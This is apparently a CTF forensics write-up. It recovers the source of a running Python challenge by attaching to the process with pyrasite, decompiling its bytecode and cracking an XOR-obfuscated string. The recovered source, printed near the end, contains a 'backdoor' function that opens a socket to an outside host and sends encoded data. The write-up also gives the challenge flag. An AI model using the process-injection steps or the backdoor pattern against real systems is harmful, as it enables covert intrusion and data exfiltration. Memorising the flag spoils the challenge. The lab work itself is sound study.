Tags: forensics 

Rating: 5.0

```
lost-file@c080471a8de3:/app$ ps aux | grep python
lost-fi+ 6 0.0 0.1 21908 2772 ? S 12:09 0:00 python2 /app/challenge.py
```

My first approach was to look for a pyc still somewhere resident in `/proc/$PID/fd/$FD`, but alas, I had no luck. Yet, the python program was still running and hitherto still in memory.

A month ago I remember reading on HackerNews a gist about [how to recover lost Python source code if it's still resident in-memory](https://gist.github.com/simonw/8aa492e59265c1a021f5c5618f9e6b12). I tried it with varying degrees of success, but there were some missing dependencies so I'll report the full install procedure below:

```
lost-file@c080471a8de3:/app$ virtualenv pyrasite
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install pyrasite
lost-file@c080471a8de3:/app$ pyrasite/bin/pip install uncompyle6
lost-file@c080471a8de3:/app$ pyrasite/bin/pyrasite-shell $(pgrep -f "python")
```

You can now use several [payloads](https://github.com/lmacken/pyrasite/tree/master/pyrasite/payloads).
If you want to extract the source, you'll need [meliae](https://github.com/isaacl/meliae), a python memory analysis tool. On the challenge box I had problems while executing `pyrasite/bin/pip install meliae` so I resorted to manually downloading and compiling the source:

```
lost-file@6083c16196b7:/app$ pip install Cython
lost-file@6083c16196b7:/app$ pyrasite/bin/pip install --download="." meliae
lost-file@6083c16196b7:/app$ tar -zxvf meliae-0.4.0.tar.gz ; rm meliae-0.4.0.tar.gz; cd meliae-0.4.0/ ;
lost-file@6083c16196b7:/app/meliae-0.4.0$ python ./setup.py install
```

and then, when the attached python shell popped:

```
>>> import uncompyle6
>>> import sys
>>> uncompyle6.main.uncompyle(
>>> 2.7, x.func_code, sys.stdout
>>> )

# Embedded file name: /app/challenge.py
return ''.join((chr(ord(c) ^ ord(k)) for c, k in izip(base64.decodestring(a), cycle(b))))

```

We also used `globals()` to get the `c` var:

```
c = '\nbgwMFA0XEUYXCgIPBxFvDwkVDhYWRRYfF28HFg0IRQ8QABMQDQoJFUQMDBQNFxFGBxwCCAdvbwIBA0ECAwwJTk1fa0RCRUUWFgwPEARNRz8LEEEMAxMARgIECAgHAUdPbm8FAQRFAQkKAElNWG9FRkRFERYLCxEATEc2AQ4JRQILCwRGS29vAgEDQQIXCwZOTV9rREJFRQEICgMFDkUdbERFQUQFCQoEBQlBD2hFRUZEDlxGNRUwDgFcEQc0EFQpFCIKCAhHXmxERUFEGlgJBwkHBQVCFkkSXkdDSggKDAhMBgkWSgoXAkwESDoNFwFOBkxIRAQKF0YFSQNECwtFHA0VSRdOBhwFCABJEEtMTGxuAQQCQgcEBQ8BDgsQTUxcbkVBREIBBBIFWEMsCFEiLTZQUjUzJB8tCSALNiZRVSlVFgsjIwpRMCFVODEaAixEbkVBREJvRUZERRJEX0UWCQcOBBBMFgoFDwAVTBEKBg0BEU8lJDosKCExTUQRCgYNARFPNy0mLjk3MTMhIyhMbERFQUQRSwYJCgsEBxZNTURVS1BKU0tUREhFV1JUTExsREVBRBFLFgMKAUkcSkcND0ZJCk1Lb0VGREUSShEACwJMAQAQA0xvbA0DQTs9CwQLATo+RF9YRUQ7OgwFCws6OUZfa0RCRUUAEQsCTEtvRUZERQMFAQ4BCQsXSU1o\n'
```

Decoding c and using this [xor cracker](https://wiremask.eu/tools/xor-cracker/) lead us to the source of `/app/challenge.py`:

```
import socket
import sys
from itertools import cycle

def fail():
printf("You have failed")

def done():
printf("Well done")

def func():
global x
global k
k="WpUhe9pcVu1OpGklj";
x=lambda s,t:"".join(chr(ord(a)^ord(b)) for a,b in zip(s,cycle(t)))

def backdoor():
data="Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.1.1.1", 666))
s.send(x("hi",k))
s.send(data)

if __name__ == "__main__":
func()
backdoor()
```

In the `backdoor` function, xoring the base64-decoded `data` var ("Hj4GKR53QQAzKmEjRD40O1sjGAo4VE0YUxgI") with `k` ("WpUhe9pcVu1OpGklj") gives us the flag, which decodes to `INSA{N1ce_Pl4y_W1th_P1th0N}`.